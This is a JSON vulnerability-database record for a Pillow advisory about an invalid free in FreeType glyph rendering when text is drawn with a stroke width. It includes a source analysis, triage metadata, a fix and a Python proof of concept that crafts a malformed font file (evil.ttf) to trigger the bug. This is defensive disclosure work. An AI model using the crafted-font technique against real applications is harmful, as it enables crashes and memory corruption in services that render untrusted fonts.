{"id":"CVE-2026-112893","kind":"vulnerability","aliases":["CVE-2026-112893","GHSA-j4m9-6w36-pw47"],"related":[],"title":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","description":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\">H\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\">II\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\">h\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.","summary":"Pillow's text rendering with a non-zero stroke width can free an uninitialized or stale FreeType glyph pointer when a malformed font fails to load a glyph. An attacker who supplies a crafted TrueType font to an application that renders it with stroke_width set can trigger an invalid free, which is a memory-safety defect that may crash the process.","severity":"high","cvss":8.2,"epss":0.0029100000392645597,"exploited":false,"exploited_at":null,"products":[{"name":"pillow","fixed":["13.0.0"],"affected":">= 10.0.0, < 13.0.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-457","cwe-763","package","pillow","python","self-hosted"],"not_affected_if":["fixed-version","no-untrusted-fonts","stroke-width-zero"],"how_to_check":"pip show pillow (version >= 10.0.0 and < 13.0.0 is affected)\nCheck whether code calls ImageFont.truetype on user-supplied font bytes or files and draws text with stroke_width != 0","fix":"Upgrade pillow to 13.0.0 or later.\nUntil then, do not load untrusted font files or bytes with ImageFont.truetype when stroke_width is used.","status":"open","published_at":"2026-10-19T22:17:09+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:10:17+00:00","updated_at":"2026-10-23T21:57:19+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:10:17Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade pillow to 13.0.0 or later.\nUntil then, do not load untrusted font files or bytes with ImageFont.truetype when stroke_width is used.","summary":"Pillow's text rendering with a non-zero stroke width can free an uninitialized or stale FreeType glyph pointer when a malformed font fails to load a glyph. An attacker who supplies a crafted TrueType font to an application that renders it with stroke_width set can trigger an invalid free, which is a memory-safety defect that may crash the process.","category":"package","who_cares":["python","pillow","self-hosted"],"confidence":0.85,"analyst_note":"","how_to_check":"pip show pillow (version >= 10.0.0 and < 13.0.0 is affected)\nCheck whether code calls ImageFont.truetype on user-supplied font bytes or files and draws text with stroke_width != 0\nunknown","needs_analyst":false,"not_affected_if":["fixed-version","no-untrusted-fonts","stroke-width-zero"],"severity_if_unknown":"unknown"},"cost_usd":0.00051,"input_tokens":3230,"output_tokens":374,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'+16':398C '+4':386C '+8':396C '-1':389C '-1013':229C '-112893':15A,23A '-1256':262C '-2026':14A,22A '-457':26B '-763':28B '0':370C,407C,412C,425C,436C,466C,467C,520C '1010':228C '12':378C '1242':251C '1253':261C '16':380C '2':434C,437C,473C '20':456C '4':368C,423C '5000':300C,445C,447C '6':369C '64':463C,464C '6w36':19A '848':212C 'accept':264C 'activ':12A 'applic':74B,513C 'assign':226C 'attack':65B,275C 'attacker-suppli':274C 'back':247C,545C 'bad':480C 'base':283C,343C 'bodi':305C 'build':486C 'bundl':289C 'byte':172C,269C,382C,526C 'bytearray':359C 'call':132C,501C 'claim':299C 'cleanup':130C,253C,499C 'contour':301C 'correct':535C 'craft':69B 'crash':96B,192C 'creat':112C 'cve':13A,21A 'cwe':25B,27B 'd':459C 'd.text':465C 'declar':206C 'decod':387C 'defect':93B,189C 'depend':193C 'detail':203C 'done':134C,477C,503C,551C 'doubl':532C 'draw':515C 'drawn':103C 'els':426C 'end':240C 'error':177C,221C,317C,475C,492C,498C 'ever':225C 'evil.ttf':449C,455C 'exampl':286C 'execut':494C 'exist':259C 'f':453C,470C 'face':320C,457C 'fail':59B,125C 'far':306C 'file':266C 'first':147C,214C 'fix':536C 'font':58B,71B,168C,272C,469C,522C 'fonttool':280C 'fonttools.ttlib':327C 'forc':174C 'free':3A,47B,86B,181C,254C,533C 'freed':165C,237C 'freetyp':5A,52B,114C 'ft':122C,133C,312C,476C,487C,502C,550C 'ghsa':17A 'ghsa-j4m9-6w36-pw47':16A 'gid':347C,424C,435C 'glyf':403C,406C,442C 'glyph':6A,53B,63B,120C,124C,128C,135C,138C,163C,204C,220C,223C,235C,296C,304C,314C,478C,489C,497C,504C,505C,540C,552C 'h':366C,430C,440C 'head':355C 'hit':528C 'host':34B 'ii':393C 'imag':333C 'image.new':461C 'imagedraw':335C 'imagedraw.draw':460C 'imagefont':334C 'imagefont.truetype':263C,454C 'impact':512C 'import':324C,328C,332C 'indextolocformat':356C 'initi':144C,210C,539C 'invalid':2A,85B,510C,530C 'iter':243C 'j4m9':18A 'jump':218C 'latent':185C 'latin':388C 'length':391C,402C 'load':61B,118C,123C,169C,176C,313C,474C,488C,523C 'loca':352C,408C,411C,414C,421C,432C 'long':353C,415C 'loop':149C,154C,216C,233C 'malform':57B,167C 'may':95B 'measur':148C,215C 'memori':91B,187C 'memory-safeti':90B,186C 'need':279C 'non':42B,107C 'non-zero':41B,106C 'nt':364C,376C 'null':160C,209C,249C,541C,547C 'numberofcontour':446C 'o0':416C,427C,444C 'object':267C 'one':288C 'open':322C,360C,448C,458C 'ord':350C 'oserror':509C 'outlin':511C 'packag':29B 'path':131C 'pil':331C 'pillow':1A,24A,30B,35B,111C,291C 'pin':485C 'plugin':507C 'poc':277C 'pointer':54B,202C,481C 'process':98B 'pw47':20A 'python':31B,323C 'rang':375C 'raw':358C,367C,383C,394C,420C,431C,441C,452C 'rb':362C 'reach':179C,495C 'read':363C 'rec':377C,384C,385C,395C,397C 'render':7A,38B,76B,153C,232C 'reset':158C 'result':482C 'return':315C,490C 'rewrit':295C 'rgb':462C 'safeti':92B,188C 'self':33B 'self-host':32B 'set':81B,246C,543C 'short':308C 'small':538C 'src':336C,346C,361C 'src/_imagingft.c':211C,227C,250C,260C 'stale':51B,201C 'still':321C 'stroke':44B,79B,109C,471C,518C 'stroker':10A,115C,258C 'struct':325C 'struct.pack':438C 'struct.unpack':365C,392C,417C,428C 'summari':99C 'suppli':67B 'suppliabl':276C 'surfac':508C 'tag':381C,400C 'tbl':371C,399C,405C,410C 'test':293C 'tests/fonts/freemono.ttf':337C 'text':37B,101C,516C 'trigger':83B 'truetyp':70B 'tt':344C,354C 'tt.close':357C 'tt.getbestcmap':349C 'tt.getglyphid':348C 'ttf':284C,339C 'ttfont':329C,345C 'uniniti':49B,199C 'untrust':171C,525C 'use':287C,521C 'valu':196C 'variabl':139C,141C 'wb':450C 'whenev':256C 'whether':190C 'width':45B,80B,110C,472C,519C 'without':207C 'work':340C 'write':451C 'zero':43B,108C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T22:17:09+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-j4m9-6w36-pw47","url":"https://github.com/advisories/GHSA-j4m9-6w36-pw47","severity":"high","published_at":"2026-10-21T20:06:34+00:00","modified_at":"2026-10-21T20:06:37+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893","severity":null,"published_at":"2026-10-19T22:17:09+00:00","modified_at":"2026-10-20T19:48:50+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}